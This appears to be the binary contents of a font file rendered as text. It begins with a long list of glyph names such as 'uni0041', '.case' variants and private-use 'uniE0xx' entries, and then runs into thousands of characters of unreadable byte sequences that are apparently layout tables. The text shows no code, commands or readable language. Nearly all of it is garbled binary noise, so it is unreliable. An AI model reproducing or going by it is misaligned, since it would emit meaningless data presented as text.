niE074uniE075uniE076uniE077uniE078uniE079uniE07AuniE07BuniE07CuniE07DuniE07EuniE07FuniE080uni0026uni0021uni203Cuni00A1uni2049uni003Funi2047uni2048uni00BFuni203Duni2E18uni0028uni0029uni005Buni2045uni005Duni2046uni007Buni007Duni0040 uni0028.case uni0029.case uni005B.case uni005D.case uni007B.case uni007D.case uni0040.caseuni0023uni00A4uni002Funi007Cuni00A6uni005Cuni002Duni00ADuni2013uni2012uni2014uni2015uni2022uni25E6uni2043uni2023uni204Cuni204Duni25AA uni002D.case uni2013.case uni2012.case uni2014.case uni2022.case uni25E6.case uni2043.case uni2023.case uni204C.case uni204D.case uni25AA.caseuni2018uni2019uni02BCuni0027uni0022uni201Cuni201Duni201Euni201Auni2032uni2033uni2034uni2057uni2035uni2036uni2037uni02B9uni02BAuni002Cuni002Euni2026uni2025uni003A uni003A.caseuniEE01uni003BuniE093uniE094uniE095uniE096uni00B7uni0387uni037Euni2039uni203Auni00ABuni00BBuni003Cuni003Euni2264uni2265uni003Duni2260uni002Buni2212uni00D7uni00F7uni00B1uni2248uni007E uni003C.case uni003E.case uni2264.case uni2265.case uni003D.case uni2260.case uni002B.case uni2212.case uni00D7.case uni00F7.case uni00B1.case uni2248.case uni007E.caseuni00ACuni005Funi2020uni2021uni005Euni002A uni002A.caseuni00AEuni00A9u1F12Funi2117uni2122uni2120uni2121uni213Bu1F16Bu1F16Auni00B0uni00AAuni00BAuniE0A5uniE0A6uni00B6uni204Buni00A7uni221Euni2202uni2211uni220Funi222Buni221Auni2205uni25CAuni1D43uni1D47uni1D9Cuni1D48uni1D49uni1DA0uni1D4Duni02B0uni2071uni02B2uni1D4Funi02E1uni1D50uni207Funi1D52uni1D56uniE163uni02B3uni02E2uni1D57uni1D58uni1D5Buni02B7uni02E3uni02B8uni1DBBuni2070uni00B9uni00B2uni00B3uni2074uni2075uni2076uni2077uni2078uni2079uni207Duni207EuniE0A7uniE0A8uni207Auni207Buni207Cuni2090uniE0A9uniE0AAuniE0ABuni2091uniE0ACuniE0ADuni2095uni1D62uni2C7Cuni2096uni2097uni2098uni2099uni2092uni209AuniE0AEuni1D63uni209Buni209Cuni1D64uni1D65uniE0AFuni2093uniE0B0uniE0B1uni2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Duni208EuniE0B2uniE0B3uni208Auni208Buni208CuniE0B4uniE0B5uniE0B6uniE0B7uniE0B8uniE0B9uniE0BAuniE0BBuniE0BCuniE0BDuni2044uniE0BEuniE0BFuniE0C0uniE0C1uniE0C2uniE0C3uniE0C4uniE0C5uniE0C6uniE0C7uniE0C8uniE0C9uniE0CAuniE0CBuniE0CCuniE0CDuniE0CEuniE0CFuniE0D0uniE0D1uniE0D2uniE0D3uniE0D4uniE0D5uniE0D6uniE0D7uniE0D8uniE0D9uniE0DAuniE0DBuniE0DCuniE0DDuniE0DEuniE0DFuniE0E0uniE0E1uniE0E2uniE0E3uniE0E4uniE0E5uni00BDuni2153uni00BCuni00BEuni215Auni215Funi215Euni215Buni215Duni215Cuni0025uni2030uni2031uni214Duni2106uni2105uni2100uni2101uni00B4uni02DDuni0060uni0384uni00A8casedieresis.cnuni02C6uni02DC casetilde.cnuni00AFuni02D8uniE0E6uni02D9uni02DA uni02DA.ucuni02C7uni0385uni00B8uni02DBuniF6C3uni0301uni030Buni0300uni030Funi0304uni0308uni0306uni0311uni0309uni0302uni030Cuni0303uni0307uni030Auni031Buni0328uni0327uni032Duni032Euni0323uni0326uni0324uni0325uni0332uni0330uni0020uni00A0uni202Funi205Funi2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni2116uni2103uni2109uni212Auni212Buni0298uni212Euni2190uni27F5u1F850uni21D0uni27F8uni2192uni27F6u1F852uni21D2uni27F9uni2196uni2197uni2198uni2199uni2194uni27F7uni21D4uni27FAuni2191uni2193uni2195uni21A9uni21AA uni2190.case uni27F5.case u1F850.case uni21D0.case uni27F8.case uni2192.case uni27F6.case u1F852.case uni21D2.case uni27F9.case uni2194.case uni27F7.case uni21D4.case uni27FA.caseuni2713uni2717uni25BCuni25B2uni25C0uni25BAuni25BDuni25B3uni25C1uni25B7uni26A0uni25CFuni25CBuni25A0uni25A1uni25A2uni2B12uni2B13uni25C6uni2756uni25C7uniE000uni263Cuni2600uni2661uni2665uni2764uni2605uni2606uni2B06uni21E7uni21EAuni2318uni2303uni2305uni2380uni2325uni2387uni238Buni21BAuni21BBuni232Buni2326uni2327uni23CFuni23CEuni21B5uni21B3uni21B0uni21B1uni21B4uni21E4uni21E5uni21DEuni21DFuni25EFuni2B1Cuni20DDuni20DEuni24B6uni24B7uni24B8uni24B9uni24BAuni24BBuni24BCuni24BDuni24BEuni24BFuni24C0uni24C1uni24C2uni24C3uni24C4uni24C5uni24C6uni24C7uni24C8uni24C9uni24CAuni24CBuni24CCuni24CDuni24CEuni24CFuni24EAuni2460uni2461uni2462uni2463uni2464uni2465uni2466uni2467uni2468uniE12BuniE12CuniE12DuniE12EuniE12FuniE130uniE131uniE132uniE133uniE134uniE135uniE136uniE137uniE15FuniE160uniE161uniE162uniE138uniE139uniE13AuniE13BuniE13CuniE13Du1F130u1F131u1F132u1F133u1F134u1F135u1F136u1F137u1F138u1F139u1F13Au1F13Bu1F13Cu1F13Du1F13Eu1F13Fu1F140u1F141u1F142u1F143u1F144u1F145u1F146u1F147u1F148u1F149uniE13EuniE13FuniE140uniE141uniE142uniE143uniE144uniE145uniE146uniE147uniE148uniE149uniE14AuniE14BuniE14CuniE14DuniE14EuniE14FuniE150uniE151uniE152uniE153uniE154uniE155uniE156uniE157uniE158uniE159uniE15AuniE15BuniE15CuniE15DuniE15Euni0182uni04BEuni04F4uni04CBuni01F1uni0110uni03DCuni018Buni0464uni04C5uni0190uni04AAuni01A9uni00D0uni01B7uni01EEuni01B8uni0492uni0262uni029Buni0132uni026Auni0476uni03DEuni0480uni046Euni01C7uni013Funi029Funi01CAuni0274uni0276uni01A2uni0460uni047Auni047Cuni047Euni0470uni0280uni0281uni02B6uni03E0uni018Funi04DAuni03DAuni0166uni04ACuni0184uni0478uni04AEuni04B0uni01B2uni01A6uni04F8uni028Funi046Auni046Cuni0466uni0468uni0498uni04DEuni04C1uni04DC_tildecross.cnuniE11BuniE104uni02CFuni0341uni0317uni0413uni041Funi0420uni0421uni0422uni0425uni0403uni040Cuni040Euni0462uni031Auni032Buni02C5uni02C2uni0350uni02C3uni02C4uni0251uniE10Auni0252uni2042uni0264uni0336uni0335uni03D0uniE11AuniE11CuniE127uni0361uni032FuniE120uni033Auni032Auni0310uni2038uni2041uni032CuniE119uniE107uniE108uniE109uni2040uni04BFuni04F5uni04CCuniE164uniE116uniE11FuniE126uni02D1uni02D0uni0313uni0315commaaccentright.cnuniE128uni02BDuni0314uni02BBuni0312uniE103uni0297uniE114uniE10Bcyrillictail.cncyrillictic.cnuni0485uni02EEuni018Duni0344uniE121uniE106uniE117uniE113uniE124uniE10EuniE118uniE10Duni03DDuniE122uniE10Cuni02D5uni2177uni0465uni217Auni0347uni0258uni04ABuni0283uni0286uni01AAuni0285uni20A0uni01C3uni0292uni01EFuni0293uni01B9uni01BAuni02AAuni02ADuni02B5uni02C9uni2174uni2173uni02CBuni02E0uni0261uni0493uni0453uni0294uni02A1uni01BEuni02A2uni0296uni02C0uni02E4uni02C1uni0295uni0340uni02CEuni0316uni02B1uni0321uni0322uni2010uni2027uni2011uni04E5uni0439uni04E3uni0345uni0477uni0284uni03BAuni03F0uni0138uni045Cuni03DFuni0481koronisaccentleft.cnuni0343uni046Funi019BuniE10Funi02C8uni030Euni030Duni0329uni017Funi02EFuni2113uni026EuniE0F6uniE0F8uniE123uniE111uniE0F7uniE0F9uni02CDuni0331uni019Cuni02D7uni03BCuni2178uni03BDuni0374uni0375uni04E9uni04EBuni01A3uni0277uni0461uni047Buni047Duni2024uni2170uni0254uni047Funi203Euni033Funi0305uni0484uni04C0uni0342uni0278uni01C0uni01C1uni01C2uni03D6uni02D6uni0471uni0486uni02DFuni201Funi201Buni203Buni204Funi03F1uni02DEuniE115uni02BFuni02D3uni02BEuni02D2uni031Cuni0339uni2167uni216Auni216Cuni2164uni216Euni2163uni216Duni2168uni2160uni2166uni2165uni2169uni216Funi2162uni216Buni2161uni027Auni02B4uni03E1uni0259uni04D9uni04DBuni025Auni033Cuni02CAuni2176uni2175uni0338uni0337uni2423uni033Buni03DBuni031Euni0318uni0319uni031Duni04ADuni2179uni02A7uni03D1uni01ADuni0482uni2172uniE112uniE12AuniE11EuniE105uni0360uniE125uniE110uni0334uni033Euni0483uni02E5uni02E9uni02E6uni02E8uni02E7uni01BDuni0185uniE129uni02A6uni217Buni2171uni2017uni0333uni203Funi01F7uni021Cuni021Duni0220uni0222uni0223uni0238uni0239uni0241uni0242uni0245uniE0F3uni0299uni029Cuni02ABuni02ACuniE0F5uni02EAuni02EBuni02ECuni02EDuni02F0uni02F1uni02F2uni02F3uni02F4uni02F5uni02F6uni02F7uni02F8uni02F9uni02FAuni02FBuni02FCuni02FDuni02FEuni02FFuni0346uni0348uni0349uni034Auni034Buni034Cuni034Duni034Euni034Funi0351uni0352uni0353uni0354uni0355uni0356uni0357uni0358uni0359uni035Auni035Buni035Cuni035Duni035Euni035Funi0362uni0363uni0364uni0365uni0366uni0367uni0368uni0369uni036Auni036Buni036Cuni036Duni036Euni036Funi0370uni0371uni0372uni0373uni0377uni037Buni037Cuni037Duni03CFuni03D7uni03D8uni03D9uni03F5uni03F6uni03F7uni03F8uni03FBuni03FDuni03FEuni03FFuni045Duni0487uni0488uni0489uni048Cuni04ECuni04EDuni04F6uni04F7uni04FEuni04FFuni1DBFuni1DC0uni1DC1uni1DC2uni1DC3uni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1DCAuni1DCBuni1DCCuni1DCDuni1DCEuni1DCFuni1DD0uni1DD1uni1DD2uni1DD3uni1DD4uni1DD5uni1DD6uni1DD7uni1DD8uni1DD9uni1DDAuni1DDBuni1DDCuni1DDDuni1DDEuni1DDFuni1DE0uni1DE1uni1DE2uni1DE3uni1DE4uni1DE5uni1DE6uni1DE7uni1DE8uni1DE9uni1DEAuni1DEBuni1DECuni1DEDuni1DEEuni1DEFuni1DF0uni1DF1uni1DF2uni1DF3uni1DF4uni1DF5uni1DFCuni1DFDuni1DFEuni1DFFuni1E9Duni1E9Funi1EFAuni1EFBuni1EFCuni1EFDuni1EFEuni1EFFuni1F71uni1F73uni1F75uni1F77uni1F79uni1F7Buni1F7Duni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FCDuniE0FBuni1FCEuniE0FDuni1FCFuniE0FFuni1FD3uni1FDDuniE0FCuni1FDEuniE0FEuni1FDFuniE100uni1FE3uni1FEDuni1FEEuni1FEFuniE101uni1FFDuniE102uni1FFEuniE0FAuni204Auni204Euni2050uni2051uni2052uni2053uni2054uni2055uni2056uni2058uni2059uni205Auni205Buni205Cuni205Duni205EuniE0F4uni2094uni20B0uni20B6uni20B7uni20BBuni20DBuni20DCuni20E8uni20F0uni214Funi217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2186uni2187uni2188uni27EFuni2DFFuniA69FuniA7FFuniA92EuniFE20uniFE21uniFE22uniFE23uniFE24uniFE25uniFE26uniFE27uniFE28uniFE29uniFE2AuniFE2BuniFE2CuniFE2Duni028Auni02D4uni04AFuni04B1uni2123uni2016uni02CCuni028Buni01BFuni033Duni04F9uni037Auni046Buni046Duni0467uni0469uni0499uni04DFuniFEFFuni04C2uni04DD;=ACHJTVacBEILqtuy    !##'@BBDEGHJQSjl}    ""!!)),,;;JJRfhhkknnwxyyz|!$$C\__     !##)*-/3388BDFGKKOO[\^^_`ffjkrrxxyyzz  1 3 4 4 7 = ? x { {            4&`js|BP^l(:MqM{K!>K  " < @0U9WGk@@@@(@X2  (,0@HLP`px =Px̠dx(@\dfDШhtؐ4Tlrx:.JdH𬼜\x@xt| <<((<@<\(((|,,,4PPP*  ((T( .0T08X "2h h" 0h $ x2|00 Hp4lTHPL TPXX ( &P$P|B 6|4R8hVh<L$||܄`P8hth x ph|X|X|TX$`` | t|htĜ<vttx  |(| (,0`@@@@XD8||\vlv t|||d*X&VX>H<*T$RXZT&0P$\hp|T~`,|f0| , *:2DFLT0B *2< I"?Z8Rw{|[\_`     "p"z""""""""""""&  ZDD$~*+1245BJccTyyUVXZ[  \ ! !] ' '^ ) )_ - -` 0 2a 7 8d : :f < <g { {h } }i  j~;=\:_ZACH3JT9V]D__LaaMcNos8;BEILq!tuGyIW    !##'@DEGHJQSjl} $6NQWX\]`abchl  mddpffqhhrkksyytu!zC\ !##))-/BDFFKKjkrryy 1 3 8 =        //////////////////////////////////////////////////////////////////////////////////////////////////////////////////........ (....444244424444@4J<F4@4J4@4J4@4J4@4J4@4J4@4J4@4J , 6 ,  ,P , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6 ,Z , 6 , 6 , 6 , 6 , 6 , 6 , 6 , 6dnx   , 6 ,  , " , 6.. @ J.. T ^.n.x.n.x.n.x.n.x.n.x.n.x.n.x.n.x.n |.n.x .x .x h r .x .x .x .x .x | .x!!!!!!!!!!!!!!!! !! !!!!!! !!&!0!:!D!N!X!b!l!v!!!! !!!!!!&!0!:!D!N!X!b!l!v!!!!!!4T4^4T4^4T4^4T4^4T4^4T!4T!4T4^!!4T4^4T4^4T4^4T4^4T4^4T4^4T4^4T4^4T4^)54T4^!!4T4^!"" "" "*"4">"H"R"\"f"p"z""4T4^4T4^""""4T4^4T"###########"#"###"##################"""####$#.#8#B#L#V#`#j#t#~#################3.3.3.33(3.3.3.44"4#44"44"44"44"44"44"##44"44"4h4r4h#4h4r4h4r4h4r4h4r4h4r4h4r2$P2$2$ 2$P2$P2$2$P2$P2$P2$P$$(2$P$<$2$<$<$<$<$F2$P2$P//"//"//"$$Z//"/$n/$d//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"//"/$d/$n//"/$x//"$$//"$$$$$$$$$$$%%%%"%,//"%6%@//"//"//"//"//"%J%T2%^2%h%r2%|//"%%%%%%%%%%%%%%%%%%%%%%%%.<.F.<%.<.F.<.F.<.F.<.F.<.F.<.F.<.F.<.F.<.F.<.F%%33 33 33 33 33 33 33 33 33 33 33 &&&&&%&%&&&&&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&%&&&%&&&&&4,464,&04,46&N&X&N&X&N&:&N&D&N&X&N&X&N&X555555555555222&b222222222&l22222&v2222&&22&&&&&&&&2222&&&'22'' '' '' '' '' '' '' '' '' 'R'H'R'*'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'\'R'H'R'H'R'H'R'H'R'4'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'H'R'>'R'H'R'H'R'H'R'\'p'p'f'p''''z''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''3n3n3n3n'3n3n3n'3n3n'('('('''''('('('('('('('('((.4|(.4(.4|(.($(.((.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.4|(.((.4|(.4|(.4|(.4|(.4|(.4|(.($(.4(.4|44|(L(V(8(B(L(V33(`(j3333333333333(t33((((((((**"**"(~(((((((((((((((((((44444) 44((4444444(4(444444(4((444444444444()444) 44))))55)2)<)2)<)2)<)2)()2)<)2)<)F)P55)Z)d55)n)x55))5)555555555555)5)))5)5)))))))5)5)5)5)5)54T4^555555555)5555**"*)**"**"**"))5N5X****"**"****"**"**"**"**"5b5l5b35b*J*T*,5b5l5b*@5b*65b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b*65b*@5b5l5b*J5b5l*T*^5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b5l5b3***h*r****|********+*+*+*****+*+*+*+*+*+*+*+*+*+*++**+++++*+++++++++++++++++&+0+&+0+&+0+&++&+0+&+0+&+0+&+0+&+0+&+0+&+0+&+0+&+0+&+0+:+D+l+b+l+b+N+X+l+b+l+b+l+b+l+b+l+b+l+b+l+b+l+b+l+v++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++, ,, ,, ,, ,,>,H,>, ,>,H,>,H,>,*,>,4,>,H,>,H,>,H55&55&5,R55&,,,,,\,f,,p,,,,,,,,,,z,,,,,,,,,,,,,,,,,,32,32,,,,,,,,,,,,,,,,,,,,4//"-V,,----$-.-8-B-L,----$-.-8-B-L-V-`-j-t42222L//"322B2B2B-~------42.2-2j505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:505:5D5D5D--5D5D5D5D5D5D5D5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X5N5X555-55555555555555----55-5555555555555555v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v55v54446 6 533... ......55&3Z3Z3Z5.(.243<3F3x3.<.F.P.Z.d.n.x4433 ..............3.////"/,/6/@/J0v/T/^00/h/r/|///00/////1*1141>1H1R/1f1p//11//0000&000:110D0N22$0X20b0l0v000000000000011 11 1*1141>1H1R1\1f1p1z11111111111112222$2.282B4@4J2L44@4J2V2V2`44T2j42t2~22233 33 222222222242433 55333(32505:3<3F3P3Z3d3n3x3x3333343333335b5l5b3334T4^4444"4,464@4J44T4^554h4r44|44|44444444444445555&505:5D5N5X55b5l55v555555555555566 6xp      <   ~$z vP rn j f` bP^d ZV RN JF Bp> :\6p 2. *,&@ " @ ` L`  x  $ ( H $ DP   ht    DP  v  bdp  N  :  &  t     ~T z vprp nj fb ^Z V$R$ NJ FB >: 62 .* &x"x (( t P   p ((  PP    44 @@  TT p pp   Pt  $ D  00  ~$ z$ v$ r0 P v Z0 V0RP NThPh LH  D(@( <8 4`0` ,( $  DD |~|  4H  | (   x x    4       X 88    LL HH | xt pl hd `l\l X ThPp LT H D4 @4<(84 4$ 0,| (\ $<  \P\  `  $N8N8X 8  8   X\| 2@P <P  "0 p PPPLP p P |xNtL pl hNd`L \<X TPL Ll HD @8 <h8h4X 0 ,8(8$H(2h "(  H H h L, Lh,h, d DLDd LD J< 4 4 dd T 44|T x t4 p4l4h d`\x XX T PxLxH D@|<0 8 4 0 ,(4$h  " 8 XDt0b       D 8    |@x~<z< v$r( njx fxbl ^ j4 P@ L H D  @<x 8 40 ,0(0 $ , " tl F      ,         t    Z    ~ F zvv~ rn jD\ XTl P LHN JF B>D @< 84: 62 .*0 ,(& $         Pt $     8 8 |    h ( ( @ttX\ H H~Pz vH r@n@jtftbP^t ZV RXNP JtFt B> :86828 .*&P"P$0  (   d     4HP8HHttDNL >(   ))i< )/;2  "3)4/ 3//)=(- ))K-)*/-(-)L$& +) ?))c),    !)16))/( -)))x)^)")A) 4))3'%"/)&)})~)Y)Z(&))<)0))%)n),%'#)) ) ))3,',)',)#,,3,-$ B)6)#A))q)5(- )C )J8)!)S)Q )R9)1)&-)W!) '  '"*! $$$$ $+/( - //+/(-)()!)#,)[   !,& )G-( -)V)H)])N3 @ &$$) ):))T"!)))).)f)'))7.)h3/ #3)  (#)E.)s) ) ))`)+3)-#)?)())r ) <),0--/)-( )U %= $/ 1 +))/   )/ )$-)b-(()/)-))y);)7)- %)t)e,0()d 2 *>3 !)j3)0*)p2)w31 )$)) ')"){;)  %)|3 1$)& 9) )v&)\3)I3 1 4)-) +333)* .-- 5)X 3 )O)P/ / 5 ))'- - ;:C+)B ).)@#"-)a )M!:)k($11)l 7 8  )g)m)/)u3' )6,%)_22) ()>)2 3  kDF              "  p " " " " " " " " 0                                        B          .* ( ~r  .hz  D D D D Drrr--(2R2R2R2R3 .&& " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " " "  H H H "(`r:(@8SATP(Bp4( D( D D D D D D D D D D D D D D D D D D D D D D D D+++++ Dxb00000b )/D((()0(000))))))))))))) X X X X X X X X X X X#ZZZZZ@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"""$"""            5L0ZZ#ZZZZZZZZZZZZZZZZZZZbZ"ZZZZZZ$ B# 6| ##@> &&%(=C&R& &%7\>8<&&; ED< &R&& &%(&&&&G,~&&& \ \ \ \ \ \ \"D "hh$ҹ  ~ "~ #&"$$"""""""""""""""""""""""b"""""""""""""""""""""Z """""" ?(h99                & # @@@@Y@@@@@@@@@@@@@@@@@@@@@@@ l l l l l l l l 1 bv "+0 "^*x (( 43 ") 4 4"""" " x"" P B Z  P Mn ^J""""R6 @@@@@@@@@@@@@@@@@@"" 1 ttt  \" \ \ \   t "   &"" Z Z v     "&ʜ l z e HDN'  )PUzzzLL LLL !~h^   o    HzIz  N    zzz  z 4 4W " [  H!  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&&&*  zzz  zzz   " "       "(!@ "r())( H (("Z  ttt \ ""xx$""t ""(t``pp0&)&<`i@n@`iPnPFj0T\(\LZZ6 .P0P@ p0)8LM``M`p`PPP0M~]`{|}{|}`b`p`b``b`0@0|}@M0{|}`pPMCin``]` 0000p  p`p`00p`{|}p{|}0|}(.  p]`P  pM{@|@}@pp@p```=iPj@nPo@t@  p``|}]`Mp]`MPRkp5PpMppqp~Mpq{|}p`P0P8PM`@p !  p`{>|>}>"h"ndd $p*@688 p@ `b`5P``p@p`!```p```0p8lMfPr0p0p8:M4P@0%"#$%&"'( `p@p ``````]` p`p`b` `!`000p``` p0q0{|}p`  Ppp jj *$p0@<lx Pp p```b` ެ5ެެެެެެެެެ p```b`tޘtް p```b`Zr p```b`4 p```b`RR n5nnnnnnnnn` 000``````p``Qpt@P`p!`````b```p 0p8$CM0~P*0P U`P`PPpp`pM`}0 ```9:;<=|>?@ABPU`P`PPppppM`}0 Qpt@Pdd pp!p```p`b``pp 0p8CM0PP{|}0P p 0p8َCM0Pٔ{|}0P ```````````````````````````````]``RPk@@P`0@8@C`KMpNp5N``NNNNNNN`Nb`քp5ք``քքքքքքք`քb````````````````]``M $ $ $ $lmnopqrstuvwxyz{|}p $Ґ1"5JfӞӐӖӜ1Ӣ5f ppppppppppppp ppp$ppppp000000000000p 000$00000               $     ppppppppppppp` ppp$ppppp            p`   $     U`^y57<=`p``p`````]pU```````p`ppp`p`]`b````pU```````p`pppp`p`]`b````pU```````p`ppp``p`]`b````p#BPiPjnPot@epp pppjj@0M Q0}  ` H`I`T`W`^`a`b`f``t`C`'`@0P}pPp` P P P P PRRRRRRRRRRpR#RPR{|}RRRR H`I`T`W`^`a`b`f``8p`C`'`@0P}pPp`p```b`ppppppp9:;<=>?@ABPBp@QR^Peppp pppȰȰ@0M Q0>{|}  `U```````p`ppp``p`]`b````E.G.I.pQ\R^t@QpRpƠ^pƠt@pƬpƠpƠpƠpƠpƠpƠpƠpZpƠpƠpƠpƠpƠpƠQR$^$t@ƪ$$$ƶ$$$$ư$$$$$$      H`I`T`W`^`a`b`f```C`'`@0P{|}pPp`      H`I`T`W`^`a`b`f`` p`C`'`@0P{|}pPp`      H`I`T`W`^`a`b`f``^`C`'`@0P{|}pPp`!U`pppp $M`{0|0}0 " QpjotP" QpjotP"p p P`Q~R~^~~ppp~~~~~~~p~~~~~~%epp ppp@0M Q0V{|}  `%U`p5p`p``ppp````ppp```pp```pp`p`pppppp`%`5`p```p``````p```````````````````]p``%U`p`5p`````p``p``pp`pp`ppppp`p]`b````p%U`^y57<=`ppppppppp`ppp`ppppp``]pp(`5`,````````````````p```````````````]``M2*epp pppvv@0M QR^}< `*U```````ppp```ppppp``ppp`pppp`pp`]pb`p```p*U```````p``````````````````````p`]`b`````p-U`^yp5p7<=`ppppppppp`pppppppppppp`ppppp]pp-U`^yp5p7<=`pppppppp`pppppppppppp`ppppp]pp- p0]`000000000000000000000000000000000M&F0g0 =0 0 0/epPp pppPPPPL L  LLLLLL PPPP@0M Q0{|}  ` =P/epPp pppPPPPPPPP@0M Q0{|}  ` =P/epPp pppPPPPPPPP@0M Q0{|}  ` =P1U`^y`5`7<=`ppp```ppppp``ppp`ppp``p`p```````]pp1U`^yp5p7<=`p```pp`````p````p```pp```p`ppppp]``3U```5```````````````````````````````````````]`b`````p3U`p`5p`````ppp``pppppp``ppppppppppp`pppppp`p]`b`p```p6@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @@@#$@Pin@@@@@@6````````````  ``0#$`P````7Cin````````````````````` ` ` ` ` ````````````````*`+`,`-`.`/`0`1`2`3`8`5`p```p``````p```````````````````]p $`AB`CDDEDFDGDHDIDJDKDLDMDNDODPDQD@``QDRD^DDDDDDDDDDDDDDDDDCPPPPPPP P P P P PPPPPPPPPPPPPPPPPPP P!P"P#P$P%P&P'P(P)P*P+P,P-P.P/P0P1P2P3P4P5P6P7P8P9P:P;PP?P@PPPަfަlGepp pp@0M Q0{|}  `I~@Minp q {0|0}0||||||||||||||||||||| | | | | ||||||||||||||||*|+|,|-|.|/|0|1|2|3|9:;<=>?@ABPQepPbp ppPbPbPbPbPbPbPbPb@0M Q0${|}  ` =PbSppp````````b`pppppppppppppppppppppppp #p$Bpppp5PPpij`no`t`{p|p}pFpgppppp p pU  !"#$%&'()*+,-./0123456789:;<=>?@ $[000pMQHRH^HipnpHHHHHHHHHPPPPPPPPPPPPPPPPPPPPP P P P P PPPPPPPPPPPPPPPP*P+P,P-P.P/P0P1P2P3P9:;<=>?@ABPHHHHHH_IJKLMNOPQRS@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu} 0@a`P@0M@Q HR H^ Hpq{|}PPPP Hxx H H H H H H H H H     *+,-./0123 H H H H H HPbepPp p"pPPPPPPPP@0M QR@^@{|} @@@@@@@@@`@@@@@@ =Pv  !"#$%&'()*+,-./0123456789:;<=>?@     ````````````ppp`p ```#p$`Ppi`n`pq{|}````ppppy````````````PPP0000000000000000000P 0 ```#P$`PPilmn9:;<=>?@ABP```00`FgPPPP   !"#$%&'()*+,-./0123456789:;<=>?@                 pppppppppppppppppp p p   #$ &P   pp  <@I? }SEUVX^`b d ,D}  BEHJrtuwFL_psy{  }  #Rk")*-124567  :;<>C01F33H55I88J;;K==L??MAANCDOFFQHHRJKSMNUPRW[[Z^^[ij\lq^ttd{}ehijl}&&((*39BKKOPWW\\   ##./BDFF!KK"MM#ZZ$gg%jk&yy()*,-.7:;< . .= 3 3> 7 7? : <@ C E~~~~~~~ ~ ~ ~ ~ ~~~~~~~~~~~~~~~~~~~ ~!~"~#~$~%~&~'~(~)~*~+~,~-~.~/~0~1~2~3~4~5~6~7~8~9~:~;~<~=~>~?~@~            0000000000``````PPPPPPPPPPP~0p   0#0$ 00P0in `?`@`     epp ppp`@0M Q0hpq{|}  `0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n 0n 0n 0n 0n 0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n0n*0n+0n,0n-0n.0n/0n00n10n20n30nepp ppp}}pBCXDEFGHIJKLMNOPQR k lmnopqrstuvwxyz{|}~`X@0MpQ0}R0}^0}pq{|}0~pp 0}0}0}0}0}0}0}0}0}@`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~ `~ `~ `~ `~ `~`~`~`~`~`~`~`~`~`~`~`~`~`~`~`~*`~+`~,`~-`~.`~/`~0`~1`~2`~3`~0}0}0}0}0}0}A`B`C`D`E`F`G`H`T`U`V`W`X`Y`Z`[`\`]`^`_```a`b`c`d`e`f`g`h`i`j`k`l`m`n`o`p`q`r`s`t`u`v`w`x`y`{``````````````````````````````````````````````````````````````````````````` `!`"`#`$`%`&`'`(`)`*`+`,`-`.`/`0`1`2`3`4`6`7`8`9`:`;`<`=`>`?`v`w`x`y`z`{`|`~``````````````?`A`B`C`D`E`````````````````````````````````````````````````````r`s`````````` ``````````&` ` ` `N`````````````````Z`y``````` .`A`B`C`D`E`F`G`H`T`U`V`W`X`Y`Z`[`\`]`^`_```a`b`c`d`e`f`g`h`i`j`k`l`m`n`o`p`q`r`s`t`u`v`w`x`y`{``````````````````````````````````````````````````````````````````````````` `!`"`#`$`%`&`'`(`)`*`+`,`-`.`/`0`1`2`3`4`6`7`8`9`:`;`<`=`>`?`v`w`x`y`z`{`|`~``````````````  ?`A`B`C`D`E````````````````````````````````````````````````````r`s`````````` ``````````&` ` ` `N`````````````````Z`y``````` .`A`B`C`D`E`F`G`H`T`U`V`W`X`Y`Z`[`\`]`^`_```a`b`c`d`e`f`g`h`i`j`k`l`m`n`o`p`q`r`s`t`u`v`w`x`y`{``````````````````````````````````````````````````````````````````````````` `!`"`#`$`%`&`'`(`)`*`+`,`-`.`/`0`1`2`3`4`6`7`8`9`:`;`<`=`>`?`v`w`x`y`z`{`|`~``````````````  p?`A`B`C`D`E`````````````````p```````````````````````````````````r`s`````````` ``````````&` ` ` `N`````````````````Z`y``````` .`A`B`C`D`E`F`G`H`T`U`V`W`X`Y`Z`[`\`]`^`_```a`b`c`d`e`f`g`h`i`j`k`l`m`n`o`p`q`r`s`t`u`v`w`x`y`{``````````````````````````````````````````````````````````````````````````` 